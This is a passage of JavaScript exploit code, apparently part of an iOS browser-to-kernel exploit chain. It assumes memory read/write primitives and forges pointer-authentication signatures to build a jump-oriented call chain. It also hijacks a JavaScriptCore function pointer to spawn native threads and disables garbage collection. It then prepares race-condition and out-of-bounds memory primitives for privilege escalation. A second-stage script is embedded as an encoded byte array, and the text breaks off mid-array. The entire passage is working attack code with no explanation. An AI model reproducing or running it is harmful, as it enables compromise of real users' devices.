(() => { fcall_init(); let PAGE_SIZE = 0x4000n; let KERN_SUCCESS = 0n; let CALLOC = func_resolve("calloc"); let MALLOC = func_resolve("malloc"); let FREE = func_resolve("free"); let MEMCPY = func_resolve("memcpy"); let MEMSET = func_resolve("memset"); let SLEEP = func_resolve("sleep"); let USLEEP = func_resolve("usleep"); let STRCMP = func_resolve("strcmp"); let STRCPY = func_resolve("strcpy"); let STRNCPY = func_resolve("strncpy"); let SNPRINTF = func_resolve("snprintf"); let PRINTF = func_resolve("printf"); let ERRNO = func_resolve("errno"); let CLOSE = func_resolve("close"); let EXIT = func_resolve("exit"); let GETCHAR = func_resolve("getchar"); let GETPID = func_resolve("getpid"); let SYSCALL = func_resolve("syscall"); let MACH_VM_ALLOCATE = func_resolve("mach_vm_allocate"); let MACH_VM_DEALLOCATE = func_resolve("mach_vm_deallocate"); let MACH_ERROR_STRING = func_resolve("mach_error_string"); let MACH_PORT_ALLOCATE = func_resolve("mach_port_allocate"); let kIOMasterPortDefault = func_resolve("kIOMasterPortDefault"); function assert(a, b = "N/A") { if (!a) { throw new Error(`assert failed: ${b}`); } } function ERROR(a) { throw new Error(a); } function new_uint64_t(val = 0n) { let buf = calloc(1n, 8n); uwrite64(buf, val); return buf; } function mach_task_self() { return 0x203n; } function calloc(...args) { return fcall(CALLOC, ...args); } function malloc(...args) { return fcall(MALLOC, ...args); } function free(...args) { return fcall(FREE, ...args); } function memcpy(...args) { return fcall(MEMCPY, ...args); } function memset(...args) { return fcall(MEMSET, ...args); } function sleep(...args) { return fcall(SLEEP, ...args); } function usleep(...args) { return fcall(USLEEP, ...args); } function strcmp(...args) { return fcall(STRCMP, ...args); } function strcpy(...args) { return fcall(STRCPY, ...args); } function strncpy(...args) { return fcall(STRNCPY, ...args); } function snprintf(...args) { return fcall(SNPRINTF, buf, size, fmt, 0n, 0n, 0n, 0n, 0n, ...args); } function printf(...args) { return fcall(PRINTF, get_cstring(fmt), 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); } function close(...args) { return fcall(CLOSE, ...args); } function exit(...args) { return fcall(EXIT, ...args); } function getchar(...args) { return fcall(GETCHAR, ...args); } function getpid(...args) { return fcall(GETPID, ...args); } function syscall(num, ...args) { return fcall(SYSCALL, num, 0n, 0n, 0n, 0n, 0n, 0n, 0n, ...args); } function mach_vm_allocate(...args) { return fcall(MACH_VM_ALLOCATE, ...args); } function mach_vm_deallocate(...args) { return fcall(MACH_VM_DEALLOCATE, ...args); } function mach_error_string(...args) { return fcall(MACH_ERROR_STRING, ...args); } function mach_port_allocate(...args) { return fcall(MACH_PORT_ALLOCATE, ...args); } let g_device_machine = 0n; function get_device_machine() { if (g_device_machine == 0n) { let utsname = calloc(256n, 5n); fcall(UNAME, utsname); g_device_machine = utsname + 256n * 4n; } return g_device_machine; } let OBJC_ALLOC = func_resolve("objc_alloc"); let OBJC_ALLOC_INIT = func_resolve("objc_alloc_init"); let OBJC_GETCLASS = func_resolve("objc_getClass"); let OBJC_MSGSEND = func_resolve("objc_msgSend"); let SEL_REGISTERNAME = func_resolve("sel_registerName"); let CFDICTIONARYCREATEMUTABLE = func_resolve("CFDictionaryCreateMutable"); let CFDICTIONARYSETVALUE = func_resolve("CFDictionarySetValue"); let CFNUMBERCREATE = func_resolve("CFNumberCreate"); let CFRELEASE = func_resolve("CFRelease"); let CFSHOW = func_resolve("CFShow"); let CFSTRINGCREATECOPY = func_resolve("CFStringCreateCopy"); let CFSTRINGCREATEWITHCSTRING = func_resolve("CFStringCreateWithCString"); let kCFAllocatorDefault = uread64(func_resolve("kCFAllocatorDefault").noPAC()); let kCFStringEncodingUTF8 = 0x08000100n; let kCFTypeDictionaryKeyCallBacks = func_resolve("kCFTypeDictionaryKeyCallBacks").noPAC(); let kCFTypeDictionaryValueCallBacks = func_resolve("kCFTypeDictionaryValueCallBacks").noPAC(); function CFDictionaryCreateMutable(...args) { return fcall(CFDICTIONARYCREATEMUTABLE, ...args); } function CFDictionarySetValue(...args) { return fcall(CFDICTIONARYSETVALUE, ...args); } function CFNumberCreate(...args) { return fcall(CFNUMBERCREATE, ...args); } function CFRelease(...args) { return fcall(CFRELEASE, ...args); } function CFShow(...args) { return fcall(CFSHOW, ...args); } function CFStringCreateCopy(...args) { return fcall(CFSTRINGCREATECOPY, ...args); } function CFStringCreateWithCString(...args) { return fcall(CFSTRINGCREATEWITHCSTRING, ...args); } function objc_alloc(class_obj) { return fcall(OBJC_ALLOC, class_obj); } function objc_alloc_init(class_obj) { return fcall(OBJC_ALLOC_INIT, class_obj); } function objc_getClass(class_name) { return fcall(OBJC_GETCLASS, get_cstring(class_name)); } function objc_msgSend(...args) { return fcall(OBJC_MSGSEND, ...args); } function sel_registerName(cstr) { return fcall(SEL_REGISTERNAME, cstr); } let selector_evaluateScript = sel_registerName(get_cstring("evaluateScript:")); let selector_initWithTarget_selector_object = sel_registerName(get_cstring("initWithTarget:selector:object:")); let selector_invocationWithMethodSignature = sel_registerName(get_cstring("invocationWithMethodSignature:")); let selector_invoke = sel_registerName(get_cstring("invoke")); let selector_isFinished = sel_registerName(get_cstring("isFinished")); let selector_methodSignatureForSelector = sel_registerName(get_cstring("methodSignatureForSelector:")); let selector_objectForKeyedSubscript = sel_registerName(get_cstring("objectForKeyedSubscript:")); let selector_release = sel_registerName(get_cstring("release")); let selector_retainCount = sel_registerName(get_cstring("retainCount")); let selector_setArgument_atIndex = sel_registerName(get_cstring("setArgument:atIndex:")); let selector_start = sel_registerName(get_cstring("start")); let invoke_class = objc_getClass("NSInvocation"); let jsc_class = objc_getClass("JSContext"); let nsthread_class = objc_getClass("NSThread"); function create_cfstring(cstring) { return CFStringCreateWithCString(kCFAllocatorDefault, cstring, kCFStringEncodingUTF8); } let cfstr_boxed_arr = create_cfstring(get_cstring("boxed_arr")); let cfstr_control_array = create_cfstring(get_cstring("control_array")); let cfstr_control_array_8 = create_cfstring(get_cstring("control_array_8")); let cfstr_func_offsets_array = create_cfstring(get_cstring("func_offsets_array")); let cfstr_isNaN = create_cfstring(get_cstring("isNaN")); let cfstr_rw_array = create_cfstring(get_cstring("rw_array")); let cfstr_rw_array_8 = create_cfstring(get_cstring("rw_array_8")); let cfstr_unboxed_arr = create_cfstring(get_cstring("unboxed_arr")); function create_cfstring_copy(cfstring) { return CFStringCreateCopy(kCFAllocatorDefault, cfstring); } function object_retainCount(obj) { return objc_msgSend(obj, selector_retainCount); } function object_release(obj) { return objc_msgSend(obj, selector_release); } function objectForKeyedSubscript(obj, cfstr_key) { return objc_msgSend(obj, selector_objectForKeyedSubscript, cfstr_key); } function evaluateScript(obj, jscript) { return objc_msgSend(obj, selector_evaluateScript, jscript); } function methodSignatureForSelector(obj, sel) { return objc_msgSend(obj, selector_methodSignatureForSelector, sel); } function invocationWithMethodSignature(obj, sig) { return objc_msgSend(obj, selector_invocationWithMethodSignature, sig); } function setArgument_atIndex(obj, arg, idx) { return objc_msgSend(obj, selector_setArgument_atIndex, arg, idx); } function initWithTarget_selector_object(obj, target, sel, object) { return objc_msgSend(obj, selector_initWithTarget_selector_object, target, sel, object); } function nsthread_start(obj) { return objc_msgSend(obj, selector_start); } function setup_fcall_jopchain() { let jsvm_fcall_buff = malloc(PAGE_SIZE); let load_x1x3x8_args = jsvm_fcall_buff + 0x100n; let jsvm_fcall_args = jsvm_fcall_buff + 0x200n; uwrite64(jsvm_fcall_buff + 0x0n, load_x1x3x8_args); uwrite64(jsvm_fcall_buff + 0x8n, pacia(load_x1x3x8, 0n)); uwrite64(jsvm_fcall_buff + 0x10n, pacia(_CFObjectCopyProperty, 0n)); uwrite64(jsvm_fcall_buff + 0x40n, pacia(jsvm_isNAN_fcall_gadget2, 0n)); uwrite64(load_x1x3x8_args + 0x20n, load_x1x3x8_args + 0x40n); uwrite64(load_x1x3x8_args + 0x28n, jsvm_fcall_args - 0x10n); uwrite64(load_x1x3x8_args + 0x30n, pacia(0x41414141n, 0xC2D0n)); uwrite64(load_x1x3x8_args + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args + 0x50n)); return { "jsvm_fcall_buff": jsvm_fcall_buff, "jsvm_fcall_pc": load_x1x3x8_args + 0x30n, "jsvm_fcall_args": jsvm_fcall_args }; } let evaluateScript_invocation = 0n; function js_thread_spawn(js_script_nsstring, target_thread_arg = 0x0n) { if (typeof js_script_nsstring === "string") { js_script_nsstring = create_cfstring(get_cstring(js_script_nsstring)); } else if (typeof js_script_nsstring === "object") { js_script_nsstring = create_cfstring(uread64(addrof(js_script_nsstring) + 0x10n)); } else { js_script_nsstring = create_cfstring_copy(js_script_nsstring); } let jop_chain_info = setup_fcall_jopchain(); let jsvm_fcall_buff = jop_chain_info["jsvm_fcall_buff"]; let jsvm_fcall_pc = jop_chain_info["jsvm_fcall_pc"]; let jsvm_fcall_args = jop_chain_info["jsvm_fcall_args"]; let ctx = objc_alloc_init(jsc_class); let isnan_value = objectForKeyedSubscript(ctx, cfstr_isNaN); let isnan_func_addr = uread64(isnan_value + 0x8n); let isnan_executable_addr = uread64(isnan_func_addr + 0x18n); let isnan_code_ptr = isnan_executable_addr + 0x28n; evaluateScript(ctx, stage1_js); let unboxed_arr_value = objectForKeyedSubscript(ctx, cfstr_unboxed_arr); let unboxed_arr_addr = uread64(unboxed_arr_value + 0x8n); let boxed_arr_value = objectForKeyedSubscript(ctx, cfstr_boxed_arr); let boxed_arr_addr = uread64(boxed_arr_value + 0x8n); let boxed_arr_butter = uread64(boxed_arr_addr + 0x8n); uwrite64(unboxed_arr_addr + 0x8n, boxed_arr_butter); let rw_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array) + 0x8n); let control_array_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array) + 0x8n); let rw_array_buffer_bk = uread64(rw_array_addr + 0x10n); let control_array_buffer_bk = uread64(control_array_addr + 0x10n); uwrite64(control_array_addr + 0x10n, rw_array_addr + 0x10n); let rw_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_rw_array_8) + 0x8n); let control_array_8_addr = uread64(objectForKeyedSubscript(ctx, cfstr_control_array_8) + 0x8n); let rw_array_8_buffer_bk = uread64(rw_array_8_addr + 0x10n); let control_array_8_buffer_bk = uread64(control_array_8_addr + 0x10n); uwrite64(control_array_8_addr + 0x10n, rw_array_8_addr + 0x10n); let signing_ctx = 0x4911n; let signed_fcall_addr = pacib(jsvm_isNAN_fcall_gadget, signing_ctx); uwrite64(isnan_code_ptr, signed_fcall_addr); let new_func_offsets = objectForKeyedSubscript(ctx, cfstr_func_offsets_array); let new_func_offsets_addr = uread64(new_func_offsets + 0x8n); let new_func_offsets_buffer = uread64(new_func_offsets_addr + 0x10n); memcpy(new_func_offsets_buffer, func_offsets_buffer, PAGE_SIZE); uwrite64(new_func_offsets_buffer + 3n * 0x8n, target_thread_arg); uwrite64(new_func_offsets_buffer + 5n * 0x8n, jsvm_fcall_buff); uwrite64(new_func_offsets_buffer + 6n * 0x8n, jsvm_fcall_pc); uwrite64(new_func_offsets_buffer + 7n * 0x8n, jsvm_fcall_args); if (evaluateScript_invocation == 0n) { let evaluateScript_signature = methodSignatureForSelector(ctx, selector_evaluateScript); evaluateScript_invocation = invocationWithMethodSignature(invoke_class, evaluateScript_signature); setArgument_atIndex(evaluateScript_invocation, new_uint64_t(selector_evaluateScript), 1n); } setArgument_atIndex(evaluateScript_invocation, new_uint64_t(ctx), 0n); setArgument_atIndex(evaluateScript_invocation, new_uint64_t(js_script_nsstring), 2n); let nsthread = objc_alloc(nsthread_class); initWithTarget_selector_object(nsthread, evaluateScript_invocation, selector_invoke, 0n); nsthread_start(nsthread); return { "thread_handle": nsthread, "js_ctx": ctx, "jop_chain_info": jop_chain_info, "js_script_nsstring": js_script_nsstring, "rw_array_buffer_bk": rw_array_buffer_bk, "control_array_buffer_bk": control_array_buffer_bk, "rw_array_8_buffer_bk": rw_array_8_buffer_bk, "control_array_8_buffer_bk": control_array_8_buffer_bk }; } function js_thread_join(js_thread) { let jop_chain_info = js_thread["jop_chain_info"]; let js_ctx = js_thread["js_ctx"]; let js_script_nsstring = js_thread["js_script_nsstring"]; let nsthread = js_thread["thread_handle"]; while (true) { let isFinished = objc_msgSend(nsthread, selector_isFinished); if (isFinished == 1n) { break; } } object_release(nsthread); uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array) + 0x8n) + 0x10n, js_thread["rw_array_buffer_bk"]); uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array) + 0x8n) + 0x10n, js_thread["control_array_buffer_bk"]); uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_rw_array_8) + 0x8n) + 0x10n, js_thread["rw_array_8_buffer_bk"]); uwrite64(uread64(objectForKeyedSubscript(js_ctx, cfstr_control_array_8) + 0x8n) + 0x10n, js_thread["control_array_8_buffer_bk"]); let jsc_ref_count = object_retainCount(js_ctx); for (let i = 0n; i < jsc_ref_count; i++) { object_release(js_ctx); } CFRelease(js_script_nsstring); free(jop_chain_info["jsvm_fcall_buff"]); } let RTLD_DEFAULT = 0xFFFFFFFFFFFFFFFEn; let VM_FLAGS_ANYWHERE = 1n; let VM_FLAGS_FIXED = 0n; let VM_FLAGS_OVERWRITE = 0x4000n; let VM_FLAGS_RANDOM_ADDR = 8n; let VM_INHERIT_NONE = 2n; let VM_PROT_DEFAULT = 3n; let PROT_READ = 0x1n; let PROT_WRITE = 0x2n; let MAP_SHARED = 0x1n; let AF_INET6 = 30n; let SOCK_DGRAM = 2n; let IPPROTO_ICMPV6 = 58n; let ICMP6_FILTER = 18n; let SEEK_SET = 0n; let _NSGETEXECUTABLEPATH = func_resolve("_NSGetExecutablePath"); let ACCESS = func_resolve("access"); let CONFSTR = func_resolve("confstr"); let FCNTL = func_resolve("fcntl"); let FSYNC = func_resolve("fsync"); let FILEPORT_MAKEFD = func_resolve("fileport_makefd"); let FILEPORT_MAKEPORT = func_resolve("fileport_makeport"); let FOPEN = func_resolve("fopen"); let FCLOSE = func_resolve("fclose"); let FWRITE = func_resolve("fwrite"); let GETSOCKOPT = func_resolve("getsockopt"); let LSEEK = func_resolve("lseek"); let MACH_THREAD_SELF = func_resolve("mach_thread_self"); let MEMMEM = func_resolve("memmem"); let MEMSET_PATTERN8 = func_resolve("memset_pattern8"); let OPEN = func_resolve("open"); let PREADV = func_resolve("preadv"); let PWRITEV = func_resolve("pwritev"); let PWRITE = func_resolve("pwrite"); let PREAD = func_resolve("pread"); let READ = func_resolve("read"); let SETSOCKOPT = func_resolve("setsockopt"); let SOCKET = func_resolve("socket"); let STRCAT = func_resolve("strcat"); let STRSTR = func_resolve("strstr"); let STRLEN = func_resolve("strlen"); let STRNCMP = func_resolve("strncmp"); let STRRCHR = func_resolve("strrchr"); let PTHREAD_SELF = func_resolve("pthread_self"); let PTHREAD_JOIN = func_resolve("pthread_join"); let WRITE = func_resolve("write"); let REMOVE = func_resolve("remove"); let ARC4RANDOM = func_resolve("arc4random"); let TASK_THREADS = func_resolve("task_threads"); let THREAD_SUSPEND = func_resolve("thread_suspend"); let MACH_MAKE_MEMORY_ENTRY_64 = func_resolve("mach_make_memory_entry_64"); let MACH_PORT_DEALLOCATE = func_resolve("mach_port_deallocate"); let MACH_VM_MAP = func_resolve("mach_vm_map"); let MMAP = func_resolve("mmap"); let MLOCK = func_resolve("mlock"); let MUNLOCK = func_resolve("munlock"); let UNAME = func_resolve("uname"); let IOSURFACECREATE = func_resolve("IOSurfaceCreate"); let IOSURFACEPREFETCHPAGES = func_resolve("IOSurfacePrefetchPages"); let IOSURFACEGETBASEADDRESS = func_resolve("IOSurfaceGetBaseAddress"); let kIOSurfaceAllocSize = uread64(func_resolve("kIOSurfaceAllocSize").noPAC()); function DUMP(addr, sz) {} function js_malloc(sz) { buff = new Uint8Array(BigInt(sz).asInt32s).fill(0x00); return uread64(mem.addrof(buff) + 0x10n); } function mach_thread_self() { return fcall(MACH_THREAD_SELF); } function pthread_getspecific(key) { return fcall(PTHREAD_GETSPECIFIC, key); } function pthread_self() { return fcall(PTHREAD_SELF); } function pthread_join(thr, val) { return fcall(PTHREAD_JOIN, thr, val); } function _NSGetExecutablePath(executable_path, length_ptr) { return fcall(_NSGETEXECUTABLEPATH, executable_path, length_ptr); } function confstr(name, buf, len) { return fcall(CONFSTR, name, buf, len); } function strrchr(s, c) { return fcall(STRRCHR, s, c); } function strcat(s1, s2) { return fcall(STRCAT, s1, s2); } function strlen(s) { return fcall(STRLEN, s); } function strstr(s1, s2) { return fcall(STRSTR, s1, s2); } function strncmp(s1, s2, n) { return fcall(STRNCMP, s1, s2, n); } function socket(domain, type, protocol) { return fcall(SOCKET, domain, type, protocol); } function getsockopt(socket, level, option_name, option_value, option_len) { return fcall(GETSOCKOPT, socket, level, option_name, option_value, option_len); } function setsockopt(socket, level, option_name, option_value, option_len) { return fcall(SETSOCKOPT, socket, level, option_name, option_value, option_len); } function fileport_makeport(fd, port) { return fcall(FILEPORT_MAKEPORT, fd, port); } function fileport_makefd(port) { return fcall(FILEPORT_MAKEFD, port); } function memset_pattern8(buf, val, sz) { return fcall(MEMSET_PATTERN8, buf, val, sz); } function memmem(big, big_len, little, little_len) { return fcall(MEMMEM, big, big_len, little, little_len); } function access(path, mode) { return fcall(ACCESS, path, mode); } function open(path, mode) { return fcall(OPEN, path, mode); } function fopen(path, mode) { return fcall(FOPEN, path, mode); } function fclose(fd) { return fcall(FCLOSE, fd); } function fwrite(buf, sz, nitem, fd) { return fcall(FWRITE, buf, sz, nitem, fd); } function preadv(fildes, iov, iovcnt, offset) { return fcall(PREADV, fildes, iov, iovcnt, offset); } function pwritev(fildes, iov, iovcnt, offset) { return fcall(PWRITEV, fildes, iov, iovcnt, offset); } function pwrite(fildes, buff, size, offset) { return fcall(PWRITE, fildes, buff, size, offset); } function pread(fildes, buff, size, offset) { return fcall(PREAD, fildes, buff, size, offset); } function read(fd, buf, sz) { return fcall(READ, fd, buf, sz); } function write(fd, buf, sz) { return fcall(WRITE, fd, buf, sz); } function remove(path) { return fcall(REMOVE, path); } function arc4random() { return fcall(ARC4RANDOM); } function task_threads(task, thread_list_addr, thread_count_addr) { return fcall(TASK_THREADS, task, thread_list_addr, thread_count_addr); } function fcntl(fd, flag, value) { return fcall(FCNTL, fd, flag, 0n, 0n, 0n, 0n, 0n, 0n, value); } function lseek(fildes, offset, whence) { return fcall(LSEEK, fildes, offset, whence); } function fsync(fd) { return fcall(FSYNC, fd); } function CFStringCreateWithCString(allocator, cstring, encoding) { return fcall(CFSTRINGCREATEWITHCSTRING, allocator, cstring, encoding); } function CFStringCreateCopy(allocator, cfstring) { return fcall(CFSTRINGCREATECOPY, allocator, cfstring); } function CFDictionarySetValue(dict, key, value) { return fcall(CFDICTIONARYSETVALUE, dict, key, value); } function CFNumberCreate(allocator, theType, valuePtr) { return fcall(CFNUMBERCREATE, allocator, theType, valuePtr); } function IOSurfaceCreate(dict) { return fcall(IOSURFACECREATE, dict); } function IOSurfaceGetBaseAddress(surface) { return fcall(IOSURFACEGETBASEADDRESS, surface); } function IOSurfacePrefetchPages(surface) { return fcall(IOSURFACEPREFETCHPAGES, surface); } function CFRelease(obj) { return fcall(CFRELEASE, obj); } function CFShow(obj) { return fcall(CFSHOW, obj); } function mach_make_memory_entry_64(target_task, size, offset, permission, object_handle, parent_entry) { return fcall(MACH_MAKE_MEMORY_ENTRY_64, target_task, size, offset, permission, object_handle, parent_entry); } function mach_vm_map(target_task, address, size, mask, flags, object, offset, copy, cur_protection, max_protection, inheritance) { return fcall(MACH_VM_MAP, target_task, address, size, mask, flags, object, offset, copy, cur_protection | max_protection << 32n, inheritance); } function mmap(addr, len, prot, flags, fd, offset) { return fcall(MMAP, addr, len, prot, flags, fd, offset); } function mlock(address, size) { return fcall(MLOCK, address, size); } function munlock(address, size) { return fcall(MUNLOCK, address, size); } function mach_port_deallocate(task, name) { return fcall(MACH_PORT_DEALLOCATE, task, name); } function mach_task_self() { return 0x203n; } function new_uint64_t(val = 0n) { let buf = calloc(1n, 8n); uwrite64(buf, val); return buf; } function disable_gc() { let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); let heap = vm + 0xc0n; let isSafeToCollect = heap + 0x241n; uwrite64(isSafeToCollect, 0n); } function enable_gc() { let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); let heap = vm + 0xc0n; let isSafeToCollect = heap + 0x241n; uwrite64(isSafeToCollect, 1n); } function disarm_gc() { let vm = uread64(uread64(addrof(globalThis) + 0x10n) + 0x38n); let heap = vm + 0xc0n; let m_threadGroup = uread64(heap + 0x198n); let threads = uread64(m_threadGroup); uwrite64(threads + 0x20n, 0x0n); } disable_gc(); disarm_gc(); enable_gc(); let executable_name = 0n; let read_file_path = 0n; let write_file_path = 0n; let target_file_size = PAGE_SIZE * 0x2n; let oob_offset = 0x100n; let oob_size = 0xf00n; let n_of_oob_pages = 2n; let pc_address = new_bigint(); let pc_size = 0n; let pc_object = new_bigint(); let free_target = 0n; let free_target_size = 0n; let write_fd = 0n; let read_fd = 0n; let random_marker = arc4random() << 32n | arc4random(); let wired_page_marker = arc4random() << 32n | arc4random(); let free_thread_start_ptr = 0n; let free_target_sync_ptr = 0n; let free_target_size_sync_ptr = 0n; let target_object_sync_ptr = 0n; let target_object_offset_sync_ptr = 0n; let go_sync_ptr = 0n; let race_sync_ptr = 0n; let free_thread_jsthread = 0n; let free_thread_arg = 0n; function init_target_file() { let _CS_DARWIN_USER_TEMP_DIR = 65537n; read_file_path = calloc(1n, 1024n); write_file_path = calloc(1n, 1024n); confstr(_CS_DARWIN_USER_TEMP_DIR, read_file_path, 1024n); confstr(_CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); strcat(read_file_path, get_cstring(`/${arc4random().hex()}`)); strcat(write_file_path, get_cstring(`/${arc4random().hex()}`)); create_target_file(read_file_path); create_target_file(write_file_path); read_fd = open(read_file_path, 0x2n); write_fd = open(write_file_path, 0x2n); LOG("[+] read_fd: " + read_fd.hex()); LOG("[+] write_fd: " + write_fd.hex()); remove(read_file_path); remove(write_file_path); fcntl(read_fd, 48n, 1n); fcntl(write_fd, 48n, 1n); } function pe_init() { init_target_file(); if (executable_name == 0n) { let length = BigInt("0x1024"); let executable_path = calloc(1n, length); _NSGetExecutablePath(executable_path, get_bigint_addr(length)); executable_name = strrchr(executable_path, 0x2fn); if (executable_name != 0n) { executable_name = executable_name + 0x1n; } else { executable_name = executable_path; } } free_thread_arg = calloc(1n, PAGE_SIZE); LOG("[+] free_thread_arg: " + free_thread_arg.hex()); free_thread_start_ptr = free_thread_arg; free_target_sync_ptr = free_thread_arg + 0x8n; free_target_size_sync_ptr = free_thread_arg + 0x10n; target_object_sync_ptr = free_thread_arg + 0x18n; target_object_offset_sync_ptr = free_thread_arg + 0x20n; go_sync_ptr = free_thread_arg + 0x28n; race_sync_ptr = free_thread_arg + 0x30n; let free_thread_js_data = new Uint8Array([102, 99, 97, 108, 108, 95, 105, 110, 105, 116, 40, 41, 59, 10, 108, 101, 116, 32, 80, 65, 71, 69, 95, 83, 73, 90, 69, 32, 32, 32, 32, 61, 32, 48, 120, 52, 48, 48, 48, 110, 59, 10, 108, 101, 116, 32, 75, 69, 82, 78, 95, 83, 85, 67, 67, 69, 83, 83, 32, 61, 32, 48, 110, 59, 10, 10, 108, 101, 116, 32, 67, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 76, 76, 79, 67, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 108, 108, 111, 99, 34, 41, 59, 10, 108, 101, 116, 32, 70, 82, 69, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 102, 114, 101, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 69, 77, 67, 80, 89, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 77, 69, 77, 83, 69, 84, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 101, 109, 115, 101, 116, 34, 41, 59, 10, 10, 108, 101, 116, 32, 83, 76, 69, 69, 80, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 85, 83, 76, 69, 69, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 117, 115, 108, 101, 101, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 77, 80, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 109, 112, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 67, 80, 89, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 84, 82, 78, 67, 80, 89, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 116, 114, 110, 99, 112, 121, 34, 41, 59, 10, 108, 101, 116, 32, 83, 78, 80, 82, 73, 78, 84, 70, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 110, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 108, 101, 116, 32, 80, 82, 73, 78, 84, 70, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 112, 114, 105, 110, 116, 102, 34, 41, 59, 10, 10, 108, 101, 116, 32, 69, 82, 82, 78, 79, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 114, 114, 110, 111, 34, 41, 59, 10, 108, 101, 116, 32, 67, 76, 79, 83, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 99, 108, 111, 115, 101, 34, 41, 59, 10, 108, 101, 116, 32, 69, 88, 73, 84, 32, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 101, 120, 105, 116, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 67, 72, 65, 82, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 99, 104, 97, 114, 34, 41, 59, 10, 108, 101, 116, 32, 71, 69, 84, 80, 73, 68, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 103, 101, 116, 112, 105, 100, 34, 41, 59, 10, 108, 101, 116, 32, 83, 89, 83, 67, 65, 76, 76, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 115, 121, 115, 99, 97, 108, 108, 34, 41, 59, 10, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 86, 77, 95, 68, 69, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 118, 109, 95, 100, 101, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 69, 82, 82, 79, 82, 95, 83, 84, 82, 73, 78, 71, 32, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 101, 114, 114, 111, 114, 95, 115, 116, 114, 105, 110, 103, 34, 41, 59, 10, 108, 101, 116, 32, 77, 65, 67, 72, 95, 80, 79, 82, 84, 95, 65, 76, 76, 79, 67, 65, 84, 69, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 109, 97, 99, 104, 95, 112, 111, 114, 116, 95, 97, 108, 108, 111, 99, 97, 116, 101, 34, 41, 59, 10, 10, 108, 101, 116, 32, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 32, 61, 32, 102, 117, 110, 99, 95, 114, 101, 115, 111, 108, 118, 101, 40, 34, 107, 73, 79, 77, 97, 115, 116, 101, 114, 80, 111, 114, 116, 68, 101, 102, 97, 117, 108, 116, 34, 41, 59, 10, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 115, 115, 101, 114, 116, 40, 97, 44, 32, 98, 32, 61, 32, 34, 78, 47, 65, 34, 41, 10, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 33, 97, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 116, 104, 114, 111, 119, 32, 110, 101, 119, 32, 69, 114, 114, 111, 114, 40, 96, 